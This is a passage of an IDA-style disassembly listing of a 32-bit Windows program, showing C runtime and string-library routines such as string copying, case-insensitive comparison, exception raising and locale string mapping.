		sub	eax, ds:dword_48A03C
		sar	eax, 2
		jmp	short loc_422661
sub_422619	endp


; =============== S U B	R O U T	I N E =======================================



sub_422671	proc near		; CODE XREF: sub_422492+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_422680
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_422680:				; CODE XREF: sub_422671+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_422692

loc_422688:				; CODE XREF: sub_422671+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_422688

loc_422692:				; CODE XREF: sub_422671+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_4226B3
		push	9
		call	sub_419CDA
		pop	ecx

loc_4226B3:				; CODE XREF: sub_422671+38j
		mov	eax, [edi]
		mov	ebx, edi

loc_4226B7:				; CODE XREF: sub_422671+5Bj
		test	eax, eax
		jz	short loc_4226CE
		push	eax
		add	ebx, 4
		call	sub_42274B
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_4226B7
; ---------------------------------------------------------------------------

loc_4226CE:				; CODE XREF: sub_422671+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_422671	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4226D8	proc near		; CODE XREF: sub_422492+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	ds:dword_48B45C, 0
		jnz	short loc_4226F3
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_418F50
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_4226F3:				; CODE XREF: sub_4226D8+Aj
		mov	ecx, [ebp+arg_0]

loc_4226F6:				; CODE XREF: sub_4226D8+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_422739
		movzx	edx, al
		test	ds:byte_48B561[edx], 4
		jz	short loc_422725
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_422730
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_422734
		jmp	short loc_42272D
; ---------------------------------------------------------------------------

loc_422725:				; CODE XREF: sub_4226D8+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_422739

loc_42272D:				; CODE XREF: sub_4226D8+4Bj
		inc	ecx
		jmp	short loc_4226F6
; ---------------------------------------------------------------------------

loc_422730:				; CODE XREF: sub_4226D8+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_422734:				; CODE XREF: sub_4226D8+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_422739:				; CODE XREF: sub_4226D8+25j
					; sub_4226D8+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_4226D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_42274B	proc near		; CODE XREF: sub_40A7D7+21p
					; sub_422671+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_422772
		push	esi
		call	sub_417AB0
		inc	eax
		push	eax
		call	sub_417B89
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_422772
		push	esi
		push	eax
		call	sub_4179C0
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_422772:				; CODE XREF: sub_42274B+7j
					; sub_42274B+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_42274B	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_422780	proc near		; CODE XREF: sub_422863+19p
					; sub_42298A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_417AB0
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_4046A3
		mov	eax, esi
		pop	esi
		retn	8
sub_422780	endp


; =============== S U B	R O U T	I N E =======================================



sub_4227AA	proc near		; CODE XREF: _0:004227D5p
					; sub_422858+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_424CA4
		call	sub_404667
		mov	ecx, esi
		pop	esi
		jmp	sub_422BA6
sub_4227AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4227C5	proc near		; DATA XREF: _1:00424CA8o _1:00424CB8o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4227D1
		mov	eax, offset dword_424290

locret_4227D1:				; CODE XREF: sub_4227C5+5j
		retn
sub_4227C5	endp

; ---------------------------------------------------------------------------

loc_4227D2:				; DATA XREF: _1:off_424CA4o
		push	esi
		mov	esi, ecx
		call	sub_4227AA
		test	byte ptr [esp+8], 1
		jz	short loc_4227E8
		push	esi
		call	sub_4182AF
		pop	ecx

loc_4227E8:				; CODE XREF: _0:004227DFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4227EE	proc near		; CODE XREF: sub_422863+29p
		mov	eax, offset loc_423122
		call	sub_418290
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_424CC0
		call	sub_422B1F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_424CA4
		call	sub_4228A0
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_424CB4
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4227EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42283C	proc near		; DATA XREF: _1:off_424CB4o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_422858
		test	[esp+4+arg_0], 1
		jz	short loc_422852
		push	esi
		call	sub_4182AF
		pop	ecx

loc_422852:				; CODE XREF: sub_42283C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42283C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422858	proc near		; CODE XREF: sub_42283C+3p
					; DATA XREF: _1:0042502Co
		mov	dword ptr [ecx], offset	off_424CB4
		jmp	sub_4227AA
sub_422858	endp


; =============== S U B	R O U T	I N E =======================================



sub_422863	proc near		; CODE XREF: sub_404514+13p
					; sub_4046D8+Ep
		mov	eax, offset loc_423134
		call	sub_418290
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_422780
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4227EE
		push	offset dword_425028
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_422BC9
		int	3		; Trap to Debugger
sub_422863	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4228A0	proc near		; CODE XREF: sub_4227EE+32p
					; sub_4228C0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_404514
		mov	eax, esi
		pop	esi
		retn	4
sub_4228A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4228C0	proc near		; CODE XREF: sub_42298A+29p
		mov	eax, offset loc_423146
		call	sub_418290
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_424CC0
		call	sub_422B1F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_424CA4
		call	sub_4228A0
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4228C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_422908	proc near		; CODE XREF: sub_422972+7p
					; sub_4229CE+7p ...
		mov	eax, offset loc_423158
		call	sub_418290
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_422B5C
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_424CA4
		call	sub_4228A0
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_422908	endp


; =============== S U B	R O U T	I N E =======================================



sub_42294B	proc near		; DATA XREF: _1:off_424CE0o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_422967
		test	[esp+4+arg_0], 1
		jz	short loc_422961
		push	esi
		call	sub_4182AF
		pop	ecx

loc_422961:				; CODE XREF: sub_42294B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42294B	endp


; =============== S U B	R O U T	I N E =======================================



sub_422967	proc near		; CODE XREF: sub_42294B+3p
					; DATA XREF: _1:004250D4o
		mov	dword ptr [ecx], offset	off_424CE0
		jmp	sub_4227AA
sub_422967	endp


; =============== S U B	R O U T	I N E =======================================



sub_422972	proc near		; CODE XREF: sub_4229E6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_422908
		mov	dword ptr [esi], offset	off_424CB4
		mov	eax, esi
		pop	esi
		retn	4
sub_422972	endp


; =============== S U B	R O U T	I N E =======================================



sub_42298A	proc near		; CODE XREF: sub_404464+15p
					; sub_4044BD+15p ...
		mov	eax, offset loc_42316A
		call	sub_418290
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_422780
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4228C0
		push	offset dword_4250D0
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_424CE0
		call	sub_422BC9
		int	3		; Trap to Debugger
sub_42298A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4229CE	proc near		; CODE XREF: sub_4229E6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_422908
		mov	dword ptr [esi], offset	off_424CE0
		mov	eax, esi
		pop	esi
		retn	4
sub_4229CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4229E6	proc near		; DATA XREF: _1:00424CACo

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_422908
		push	offset dword_425110
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_422BC9
		int	3		; Trap to Debugger

loc_422A04:				; DATA XREF: _1:00424CE8o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4229CE
		push	offset dword_4250D0
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_422BC9
		int	3		; Trap to Debugger

loc_422A22:				; DATA XREF: _1:00424CBCo
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_422972
		push	offset dword_425028
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_422BC9
		int	3		; Trap to Debugger
sub_4229E6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_422A40	proc near		; CODE XREF: sub_40494F+6Cp
		jmp	ds:dword_4241D8
sub_422A40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_422A46	proc near		; CODE XREF: sub_403DF6+5Ep
					; sub_4053D5+159p
		jmp	ds:dword_424210
sub_422A46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_422A4C	proc near		; CODE XREF: sub_417EFC+23p
					; sub_4181A0+13p
		jmp	ds:dword_424188
sub_422A4C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422A52	proc near		; CODE XREF: sub_409392+E2p
					; sub_409392+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	ds:dword_48A0A8, 0
		push	ebx
		jnz	short loc_422A98
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]

loc_422A64:				; CODE XREF: sub_422A52+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_422A76
		cmp	bx, 41h
		jb	short loc_422A76
		add	ebx, 20h

loc_422A76:				; CODE XREF: sub_422A52+19j
					; sub_422A52+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_422A88
		cmp	ax, 41h
		jb	short loc_422A88
		add	eax, 20h

loc_422A88:				; CODE XREF: sub_422A52+2Bj
					; sub_422A52+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_422AC8
		cmp	bx, ax
		jz	short loc_422A64
		jmp	short loc_422AC8
; ---------------------------------------------------------------------------

loc_422A98:				; CODE XREF: sub_422A52+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]

loc_422AA2:				; CODE XREF: sub_422A52+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_422C03
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_422C03
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_422AC6
		cmp	bx, ax
		jz	short loc_422AA2

loc_422AC6:				; CODE XREF: sub_422A52+6Dj
		pop	edi
		pop	esi

loc_422AC8:				; CODE XREF: sub_422A52+3Dj
					; sub_422A52+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_422A52	endp


; =============== S U B	R O U T	I N E =======================================



sub_422AD2	proc near		; CODE XREF: _0:00422AEAp
		mov	dword ptr [ecx], offset	off_424D00
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_422AE6
		push	ecx
		call	sub_417C3B
		pop	ecx

locret_422AE6:				; CODE XREF: sub_422AD2+Bj
		retn
sub_422AD2	endp

; ---------------------------------------------------------------------------

loc_422AE7:				; DATA XREF: _1:off_424D00o
		push	esi
		mov	esi, ecx
		call	sub_422AD2
		test	byte ptr [esp+8], 1
		jz	short loc_422AFD
		push	esi
		call	sub_4182AF
		pop	ecx

loc_422AFD:				; CODE XREF: _0:00422AF4j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------

loc_422B03:				; DATA XREF: _1:off_424D08o
		push	esi
		mov	esi, ecx
		call	sub_422BA6
		test	byte ptr [esp+8], 1
		jz	short loc_422B19
		push	esi
		call	sub_4182AF
		pop	ecx

loc_422B19:				; CODE XREF: _0:00422B10j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_422B1F	proc near		; CODE XREF: sub_4227EE+1Dp
					; sub_4228C0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_424D08
		push	dword ptr [edi]
		call	sub_417AB0
		inc	eax
		push	eax
		call	sub_4185F5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_422B4E
		push	dword ptr [edi]
		push	eax
		call	sub_4179C0
		pop	ecx
		pop	ecx

loc_422B4E:				; CODE XREF: sub_422B1F+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_422B1F	endp


; =============== S U B	R O U T	I N E =======================================



sub_422B5C	proc near		; CODE XREF: sub_422908+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_424D08
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_422B99
		push	dword ptr [edi+4]
		call	sub_417AB0
		inc	eax
		push	eax
		call	sub_4185F5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_422B9F
		push	dword ptr [edi+4]
		push	eax
		call	sub_4179C0
		pop	ecx
		pop	ecx
		jmp	short loc_422B9F
; ---------------------------------------------------------------------------

loc_422B99:				; CODE XREF: sub_422B5C+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax

loc_422B9F:				; CODE XREF: sub_422B5C+2Ej
					; sub_422B5C+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_422B5C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422BA6	proc near		; CODE XREF: sub_4227AA+16j
					; _0:00422B06p	...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_424D08
		jz	short locret_422BBB
		push	dword ptr [ecx+4]
		call	sub_4182AF
		pop	ecx

locret_422BBB:				; CODE XREF: sub_422BA6+Aj
		retn
sub_422BA6	endp


; =============== S U B	R O U T	I N E =======================================



sub_422BBC	proc near		; DATA XREF: _1:00424D0Co
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_422BC8
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_422BC8:				; CODE XREF: sub_422BBC+5j
		retn
sub_422BBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422BC9	proc near		; CODE XREF: sub_422863+37p
					; sub_42298A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_424D28
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	ds:dword_4241BC	; RaiseException
		pop	edi
		pop	esi
		leave
		retn	8
sub_422BC9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422C03	proc near		; CODE XREF: sub_422A52+56p
					; sub_422A52+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_422C15
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------

loc_422C15:				; CODE XREF: sub_422C03+Bj
		cmp	ds:dword_48A0A8, 0
		jnz	short loc_422C2F
		cmp	ax, 41h
		jb	short locret_422C76
		cmp	ax, 5Ah
		ja	short locret_422C76
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------

loc_422C2F:				; CODE XREF: sub_422C03+19j
		cmp	ax, 100h
		jnb	short loc_422C49
		push	1
		push	eax
		call	sub_422EB1
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_422C49
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------

loc_422C49:				; CODE XREF: sub_422C03+30j
					; sub_422C03+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	ds:dword_48A0A8
		call	sub_422C78
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_422C76
		mov	ax, [ebp+var_2]

locret_422C76:				; CODE XREF: sub_422C03+1Fj
					; sub_422C03+25j ...
		leave
		retn
sub_422C03	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422C78	proc near		; CODE XREF: sub_422C03+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424D48
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	ds:dword_48A304, esi
		jnz	short loc_422CEE
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_4248D8
		mov	edi, 100h
		push	edi
		push	esi
		call	ds:dword_4241C8	; LCMapStringW
		test	eax, eax
		jz	short loc_422CCC
		mov	ds:dword_48A304, ebx
		jmp	short loc_422CEE
; ---------------------------------------------------------------------------

loc_422CCC:				; CODE XREF: sub_422C78+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset dword_43C824
		push	edi
		push	esi
		call	ds:dword_4241C4	; LCMapStringA
		test	eax, eax
		jz	loc_422E6D
		mov	ds:dword_48A304, 2

loc_422CEE:				; CODE XREF: sub_422C78+2Ej
					; sub_422C78+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_422D03
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_422E81
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax

loc_422D03:				; CODE XREF: sub_422C78+79j
		mov	eax, ds:dword_48A304
		cmp	eax, 1
		jnz	short loc_422D2A
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4241C8	; LCMapStringW
		jmp	loc_422E6F
; ---------------------------------------------------------------------------

loc_422D2A:				; CODE XREF: sub_422C78+93j
		cmp	eax, 2
		jnz	loc_422E6D
		cmp	[ebp+arg_18], esi
		jnz	short loc_422D40
		mov	eax, ds:dword_48A0B8
		mov	[ebp+arg_18], eax

loc_422D40:				; CODE XREF: sub_422C78+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		call	ds:dword_424150	; WideCharToMultiByte
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_422E6D
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_422D86
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi

loc_422D86:				; CODE XREF: sub_422C78+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_422E6D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		call	ds:dword_424150	; WideCharToMultiByte
		test	eax, eax
		jz	loc_422E6D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4241C4	; LCMapStringA
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_422E6D
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422E09
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]

loc_422E09:				; CODE XREF: sub_422C78+17Dj
		cmp	ebx, esi
		jz	short loc_422E6D
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4241C4	; LCMapStringA
		test	eax, eax
		jz	short loc_422E6D
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_422E47
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_422E69
		cmp	eax, edi
		jl	short loc_422E38
		mov	eax, edi

loc_422E38:				; CODE XREF: sub_422C78+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_418C10
		add	esp, 0Ch
		jmp	short loc_422E69
; ---------------------------------------------------------------------------

loc_422E47:				; CODE XREF: sub_422C78+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_422E50
		push	esi
		push	esi
		jmp	short loc_422E56
; ---------------------------------------------------------------------------

loc_422E50:				; CODE XREF: sub_422C78+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]

loc_422E56:				; CODE XREF: sub_422C78+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		call	ds:dword_424070	; MultiByteToWideChar
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_422E6D

loc_422E69:				; CODE XREF: sub_422C78+1B8j
					; sub_422C78+1CDj
		mov	eax, edi
		jmp	short loc_422E6F
; ---------------------------------------------------------------------------

loc_422E6D:				; CODE XREF: sub_422C78+66j
					; sub_422C78+B5j ...
		xor	eax, eax

loc_422E6F:				; CODE XREF: sub_422C78+ADj
					; sub_422C78+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422C78	endp


; =============== S U B	R O U T	I N E =======================================



sub_422E81	proc near		; CODE XREF: sub_422C78+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_422EA0

loc_422E91:				; CODE XREF: sub_422E81+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_422EA0
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_422E91

loc_422EA0:				; CODE XREF: sub_422E81+Ej
					; sub_422E81+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_422EAE
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------

loc_422EAE:				; CODE XREF: sub_422E81+24j
		mov	eax, edx
		retn
sub_422E81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422EB1	proc near		; CODE XREF: sub_422C03+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_422EF1
		cmp	[ebp+arg_0], 100h
		jnb	short loc_422ED5
		movzx	eax, [ebp+arg_0]
		mov	ecx, ds:off_4395A4
		mov	ax, [ecx+eax*2]
		jmp	short loc_422EF8
; ---------------------------------------------------------------------------

loc_422ED5:				; CODE XREF: sub_422EB1+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_422F03
		add	esp, 18h
		test	eax, eax
		jnz	short loc_422EF5

loc_422EF1:				; CODE XREF: sub_422EB1+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_422EF5:				; CODE XREF: sub_422EB1+3Ej
		mov	eax, [ebp+var_4]

loc_422EF8:				; CODE XREF: sub_422EB1+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_422EB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422F03	proc near		; CODE XREF: sub_422EB1+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
